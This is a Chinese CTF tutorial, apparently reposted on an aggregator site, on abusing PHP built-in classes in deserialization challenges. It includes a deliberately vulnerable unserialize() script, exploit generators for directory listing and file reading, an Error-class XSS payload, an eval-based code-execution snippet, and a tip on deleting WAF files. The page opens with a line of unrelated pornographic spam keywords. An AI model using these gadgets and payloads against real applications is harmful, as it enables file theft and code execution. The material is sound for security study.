国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

PHP原生類

這篇具有很好參考價(jià)值的文章主要介紹了PHP原生類。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

什么是php原生類

原生類就是php內(nèi)置類,不用定義php自帶的類,即不需要在當(dāng)前腳本寫出,但也可以實(shí)例化的類

我們可以通過腳本找一下php原生類

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

PHP原生類,php,開發(fā)語言

幾個(gè)ctf常用的php原生類?

遍歷文件目錄的類

DirectoryIterator 類

類介紹

?DirectoryIterator extends SplFileInfo implements SeekableIterator {
?? ?/* 方法 */
?? ?public __construct ( string $path )
?? ?public current ( ) : DirectoryIterator
?? ?public getATime ( ) : int
?? ?public getBasename ( string $suffix = ? ) : string
?? ?public getCTime ( ) : int
?? ?public getExtension ( ) : string
?? ?public getFilename ( ) : string
?? ?public getGroup ( ) : int
?? ?public getInode ( ) : int
?? ?public getMTime ( ) : int
?? ?public getOwner ( ) : int
?? ?public getPath ( ) : string
?? ?public getPathname ( ) : string
?? ?public getPerms ( ) : int
?? ?public getSize ( ) : int
?? ?public getType ( ) : string
?? ?public isDir ( ) : bool
?? ?public isDot ( ) : bool
?? ?public isExecutable ( ) : bool
?? ?public isFile ( ) : bool
?? ?public isLink ( ) : bool
?? ?public isReadable ( ) : bool
?? ?public isWritable ( ) : bool
?? ?public key ( ) : string
?? ?public next ( ) : void
?? ?public rewind ( ) : void
?? ?public seek ( int $position ) : void
?? ?public __toString ( ) : string ? ?// 以字符串形式獲取文件名
?? ?public valid ( ) : bool
}

可以看到這里有我門常見的__construct和__toString這里我們可以反序列化利用?

這里會(huì)創(chuàng)建一個(gè)指定目錄的迭代器。當(dāng)執(zhí)行到echo函數(shù)時(shí),會(huì)觸發(fā)DirectoryIterator類中的?__toString()?方法,輸出指定目錄里面經(jīng)過排序之后的第一個(gè)文件名

測(cè)試代碼

<?php
$a = new DirectoryIterator("/");
echo $a;

echo以字符串的形式輸入,會(huì)觸發(fā)?__toString()以字符串的形式輸入根目錄的第一個(gè)文件名

PHP原生類,php,開發(fā)語言

?也可以結(jié)合glob協(xié)議進(jìn)行多目錄遍歷

<?php
$a = new DirectoryIterator("glob://f*");
echo $a;

PHP原生類,php,開發(fā)語言

?如果想顯示所有的文件可以用foreach函數(shù)來遍歷,比如

<?php
$a = new DirectoryIterator("/");
foreach($a as $f){
    echo($f.'<br>');
}

?PHP原生類,php,開發(fā)語言

?FilesystemIterator

?基本和DirectoryIterator一樣

PHP原生類,php,開發(fā)語言

GlobIterato

名字可以看出這個(gè)類是自帶glob協(xié)議的,所以不用再使用glob協(xié)議了例如

<?php
$a = new GlobIterator("/");
echo $a;

文件讀取類?

SplFileObject

當(dāng)用文件目錄遍歷到了敏感文件時(shí),可以用SplFileObject類,同樣通過echo觸發(fā)SplFileObject中的__toString()方法。(該類不支持通配符,所以必須先獲取到完整文件名稱才行),而且這個(gè)方法只能讀一行

PHP原生類,php,開發(fā)語言

test1

<?php
error_reporting(0);
highlight_file(__FILE__);
 
class a{
 
    public $key;
    public $value;
    public function __wakeup()
    {
        echo new $this->key($this->value);
    }
}
 
 
unserialize($_GET['a']);
 
?>

這個(gè)反序列化沒有任何可以直接利用的魔法函數(shù),只有一個(gè)wakeup可以進(jìn)入

echo new $this->key($this->value);

構(gòu)造exp很簡(jiǎn)單,只需要讓key值賦為我們想得的原生函數(shù),value賦為路徑,查就完了但是這個(gè)方法的局限性就是只能查一個(gè)路徑上的第一個(gè)文件。

<?php
class xxh{
    public $key;
    public $value;
    public function __wakeup()
    {
        echo new $this->key($this->value);
    }
}
 
 
$a = new xxh();
$a->key="SplFileObject";
$a->value="./";
echo serialize($a);
?>

PHP 原生Error&Exception類(XSS實(shí)現(xiàn)與hash繞過)

Error內(nèi)置類

適用于php7

開啟報(bào)錯(cuò)的情況下

?Error類是php 的一個(gè)內(nèi)置類,用于自動(dòng)自定義一個(gè)Error ,在php7的情況下可能會(huì)造成一個(gè)xss漏洞,因?yàn)樗麅?nèi)置有一個(gè) __toString()方法,在ctf反序列化中,如果flag在cookie中可以嘗試?yán)肊rror去觸發(fā)__toString()

<?php
 
$a = unserialize($_GET['xxh']);
echo $a;
<?php
$a = new Error("<script>alert('1')</script>");
echo serialize($a);

PHP原生類,php,開發(fā)語言

?

?

?Excepthin 內(nèi)置類?

適用于 php5,7

開啟報(bào)錯(cuò)的情況下:

<?php
 
$a = unserialize($_GET['xxh']);
echo $a;

?exp

<?php
 
$a = new Error("<script>alert('1')</script>");
$b = serialize($a);
echo urlencode($b);

也可以成功彈窗

命令執(zhí)行

如果有eval的話就可以rce

<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");
?>

PHP原生類,php,開發(fā)語言

??這就不限于Error函數(shù)了、

其他類

ReflectionMethod類

他本身具有的方法

class ReflectionMethod extends ReflectionFunctionAbstract implements Reflector {	
/*方法*/
    ReflectionMethod::__construct — ReflectionMethod 的構(gòu)造函數(shù)
    ReflectionMethod::export — 輸出一個(gè)回調(diào)方法
    ReflectionMethod::getClosure — 返回一個(gè)動(dòng)態(tài)建立的方法調(diào)用接口,譯者注:可以使用這個(gè)返回值直接調(diào)用非公開方法。
    ReflectionMethod::getDeclaringClass — 獲取被反射的方法所在類的反射實(shí)例
    ReflectionMethod::getModifiers — 獲取方法的修飾符
    ReflectionMethod::getPrototype — 返回方法原型 (如果存在)
    ReflectionMethod::invoke — Invoke
    ReflectionMethod::invokeArgs — 帶參數(shù)執(zhí)行
    ReflectionMethod::isAbstract — 判斷方法是否是抽象方法
    ReflectionMethod::isConstructor — 判斷方法是否是構(gòu)造方法
    ReflectionMethod::isDestructor — 判斷方法是否是析構(gòu)方法
    ReflectionMethod::isFinal — 判斷方法是否定義 final
    ReflectionMethod::isPrivate — 判斷方法是否是私有方法
    ReflectionMethod::isProtected — 判斷方法是否是保護(hù)方法 (protected)
    ReflectionMethod::isPublic — 判斷方法是否是公開方法
    ReflectionMethod::isStatic — 判斷方法是否是靜態(tài)方法
    ReflectionMethod::setAccessible — 設(shè)置方法是否訪問
    ReflectionMethod::__toString — 返回反射方法對(duì)象的字符串表達(dá)
        
/*繼承的方法*/
    final private ReflectionFunctionAbstract::__clone(): void
    public ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): array
    public ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClass
    public ReflectionFunctionAbstract::getClosureThis(): object
    public ReflectionFunctionAbstract::getDocComment(): string
    public ReflectionFunctionAbstract::getEndLine(): int
    public ReflectionFunctionAbstract::getExtension(): ReflectionExtension
    public ReflectionFunctionAbstract::getExtensionName(): string
    public ReflectionFunctionAbstract::getFileName(): string
    public ReflectionFunctionAbstract::getName(): string
    public ReflectionFunctionAbstract::getNamespaceName(): string
    public ReflectionFunctionAbstract::getNumberOfParameters(): int
    public ReflectionFunctionAbstract::getNumberOfRequiredParameters(): int
    public ReflectionFunctionAbstract::getParameters(): array
    public ReflectionFunctionAbstract::getReturnType(): ?ReflectionType
    public ReflectionFunctionAbstract::getShortName(): string
    public ReflectionFunctionAbstract::getStartLine(): int
    public ReflectionFunctionAbstract::getStaticVariables(): array
    public ReflectionFunctionAbstract::hasReturnType(): bool
    public ReflectionFunctionAbstract::inNamespace(): bool
    public ReflectionFunctionAbstract::isClosure(): bool
    public ReflectionFunctionAbstract::isDeprecated(): bool
    public ReflectionFunctionAbstract::isGenerator(): bool
    public ReflectionFunctionAbstract::isInternal(): bool
    public ReflectionFunctionAbstract::isUserDefined(): bool
    public ReflectionFunctionAbstract::isVariadic(): bool
    public ReflectionFunctionAbstract::returnsReference(): bool
    abstract public ReflectionFunctionAbstract::__toString(): void

可以看到這里也有一個(gè)__toString函數(shù),也可以觸發(fā)反序列化漏洞?

ReflectionMethod 類中有很多繼承方法可以使用,比如這個(gè)?getDocComment()?方法,我們可以用它來獲取類中各個(gè)函數(shù)注釋內(nèi)容

<?php
show_source(__FILE__);
class a
//flag{123}
    public function a(){
    }
}
$a = $_GET['a'];
$b = $_GET['b'];
$c= $_GET['c'];
$d=new $a($b,$c);
echo($d->getDocComment());
?>

?a=ReflectionMethod&b=a&c=b

利用原生類ReflectionMethod中的getDocComment()函數(shù)類讀取注釋

ZipArchive類

可以通過本類執(zhí)行一些文件操作,在CTF可以用來刪除waf

open(打開一個(gè)壓縮包文件)

$zip = new \ZipArchive;
 
$zip->open('test_new.zip', \ZipArchive::CREATE)

常用方法?文章來源地址http://www.zghlxwxcb.cn/news/detail-638005.html

ZipArchive::addEmptyDir:添加一個(gè)新的文件目錄
ZipArchive::addFile:將文件添加到指定zip壓縮包中
ZipArchive::addFromString:添加新的文件同時(shí)將內(nèi)容添加進(jìn)去
ZipArchive::close:關(guān)閉ziparchive
ZipArchive::extractTo:將壓縮包解壓
ZipArchive::open:打開一個(gè)zip壓縮包
ZipArchive::deleteIndex:刪除壓縮包中的某一個(gè)文件,如:deleteIndex(0)代表刪除第一個(gè)文件
ZipArchive::deleteName:刪除壓縮包中的某一個(gè)文件名稱,同時(shí)也將文件刪除

到了這里,關(guān)于PHP原生類的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場(chǎng)。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • 基于PHP的原生酒店預(yù)定管理系統(tǒng)(源碼 調(diào)試 文檔)

    基于PHP的原生酒店預(yù)定管理系統(tǒng)(源碼 調(diào)試 文檔)

    摘要 本文介紹了一種基于PHP的原生酒店預(yù)定管理系統(tǒng)的設(shè)計(jì)與實(shí)現(xiàn)。該系統(tǒng)分為管理員和注冊(cè)會(huì)員兩種用戶角色,分別具有不同的功能。管理員主要負(fù)責(zé)會(huì)員管理、房型管理、房間管理和系統(tǒng)管理等;注冊(cè)會(huì)員則可以進(jìn)行注冊(cè)登錄、分類篩選、房型搜索、房型查看、在線預(yù)定

    2024年02月05日
    瀏覽(33)
  • PHP從入門到精通—PHP開發(fā)入門-PHP概述、PHP開發(fā)環(huán)境搭建、PHP開發(fā)環(huán)境搭建、第一個(gè)PHP程序、PHP開發(fā)流程

    每開始學(xué)習(xí)一門語言,都要了解這門語言和進(jìn)行開發(fā)環(huán)境的搭建。同樣,學(xué)生開始PHP學(xué)習(xí)之前,首先要了解這門語言的歷史、語言優(yōu)勢(shì)等內(nèi)容以及了解開發(fā)環(huán)境的搭建。 PHP概述 ? 認(rèn)識(shí)PHP PHP最初是由Rasmus Lerdorf于1994年為了維護(hù)個(gè)人網(wǎng)頁而編寫的一個(gè)簡(jiǎn)單程序。這個(gè)程序用來顯

    2024年02月14日
    瀏覽(26)
  • 淺談php原生類的利用 2(Error&SoapClient&SimpleXMLElement)

    淺談php原生類的利用 2(Error&SoapClient&SimpleXMLElement)

    除了上篇文章淺談 php原生類的利用 1(文件操作類)_php spl原生類_葫蘆娃42的博客-CSDN博客 里提到的原生利用文件操作類讀文件的功能,在CTF題目中,還可以利用php原生類來進(jìn)行XSS,反序列化,SSRF,XXE。 常用內(nèi)置類: DirectoryIterator FilesystemIterator GlobIterator SplFileObject SplFileinfo Err

    2023年04月19日
    瀏覽(15)
  • 【消息中間件】原生PHP對(duì)接Uni H5、APP、微信小程序?qū)崟r(shí)通訊消息服務(wù)

    【消息中間件】原生PHP對(duì)接Uni H5、APP、微信小程序?qū)崟r(shí)通訊消息服務(wù)

    【uniapp】實(shí)現(xiàn)買定離手小游戲 Mqtt不同環(huán)境問題太多,新手可以看下 《【MQTT】Esp32數(shù)據(jù)上傳采集:最新mqtt插件(支持掉線、真機(jī)調(diào)試錯(cuò)誤等問題》 《一篇就夠:uniapp-Mqtt系列問題詳細(xì)攻略(解決掉線、真機(jī)調(diào)試錯(cuò)誤等問題)》 《解決微信小程序MQTT真機(jī)連接問題與合法域名配置

    2024年02月14日
    瀏覽(21)
  • PHP語言基礎(chǔ)

    PHP語言基礎(chǔ)

    ??博客主頁:大寄一場(chǎng). ??博客制作不易歡迎各位??點(diǎn)贊+?收藏+?關(guān)注 目錄 前言 一、變量和數(shù)據(jù)類型 二、運(yùn)算符和表達(dá)式 三、條件語句 四、循環(huán)語句 PHP是一種非常流行的開源服務(wù)器端腳本語言,廣泛用于Web開發(fā)。它可以與HTML、CSS和JavaScript配合使用,以動(dòng)態(tài)生成內(nèi)容。

    2024年02月02日
    瀏覽(24)
  • PHP入門介紹及語言基礎(chǔ)

    PHP入門介紹及語言基礎(chǔ)

    ??博客主頁:大寄一場(chǎng). ??博客制作不易歡迎各位??點(diǎn)贊+?收藏+?關(guān)注 目錄 前言 一、變量和數(shù)據(jù)類型 二、運(yùn)算符和表達(dá)式 三、條件語句 四、循環(huán)語句 PHP是一種非常流行的開源服務(wù)器端腳本語言,廣泛用于Web開發(fā)。它可以與HTML、CSS和JavaScript配合使用,以動(dòng)態(tài)生成內(nèi)容。

    2024年02月05日
    瀏覽(18)
  • 使用vscode編寫插件-php語言

    使用vscode編寫插件-php語言

    https://blog.csdn.net/qq_45701130/article/details/125206645 一、環(huán)境搭建 1、安裝 Visual Studio Code 2、安裝 Node.js 3、安裝 Git 4、安裝生產(chǎn)插件代碼的工具: npm install -g yo generator-code 二、創(chuàng)建工程 yo code 選擇項(xiàng)解釋: 選擇編寫擴(kuò)展的語言,我選擇的是JavaScript 輸入擴(kuò)展名稱 輸入一個(gè)標(biāo)志(我

    2024年02月11日
    瀏覽(19)
  • PHP開發(fā)日志 ━━ php8.3安裝與使用組件Xdebug

    PHP開發(fā)日志 ━━ php8.3安裝與使用組件Xdebug

    今天開頭寫點(diǎn)歷史: 二十年前流行asp,當(dāng)時(shí)用vb整合常用函數(shù)庫寫了一個(gè)dll給asp調(diào)用,并在此基礎(chǔ)上開發(fā)一套仿windows界面的后臺(tái)管理系統(tǒng); 后來asp逐漸沒落,于是在十多年前轉(zhuǎn)投php,不久后用php寫了一套mvc框架,同時(shí)參考asp仿windows經(jīng)驗(yàn),結(jié)合興起的jQuery重寫后臺(tái)管理系統(tǒng)。

    2024年02月02日
    瀏覽(34)
  • 醫(yī)院安全(不良)事件報(bào)告系統(tǒng) PHP語言實(shí)現(xiàn)

    醫(yī)院安全(不良)事件報(bào)告系統(tǒng) PHP語言實(shí)現(xiàn)

    醫(yī)院安全(不良)事件報(bào)告制度 一、目的 規(guī)范醫(yī)院安全(不良)事件的主動(dòng)報(bào)告,增強(qiáng)風(fēng)險(xiǎn)防范意識(shí),及時(shí)發(fā)現(xiàn)醫(yī)療不良事件和安全隱患,將獲取的醫(yī)療安全信息進(jìn)行分析反饋,并從醫(yī)院管理體系、運(yùn)行機(jī)制與規(guī)章制度上進(jìn)行有針對(duì)性的持續(xù)改進(jìn)。 二、適用范圍 適用于本院

    2024年02月06日
    瀏覽(26)
  • 短視頻矩陣源碼開源搭建--基于PHP語言

    短視頻矩陣源碼開源搭建--基于PHP語言

    短視頻矩陣系統(tǒng)是一種基于云計(jì)算和大數(shù)據(jù)技術(shù)的智能化視頻分發(fā)系統(tǒng),旨在為用戶提供個(gè)性化的短視頻推薦和播放服務(wù)。該系統(tǒng)通過對(duì)用戶行為數(shù)據(jù)和視頻內(nèi)容進(jìn)行深度分析和計(jì)算,實(shí)現(xiàn)了智能化的推薦算法和視頻分發(fā)機(jī)制,使用戶能夠快速、便捷地找到自己喜歡的視頻并

    2024年02月21日
    瀏覽(17)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包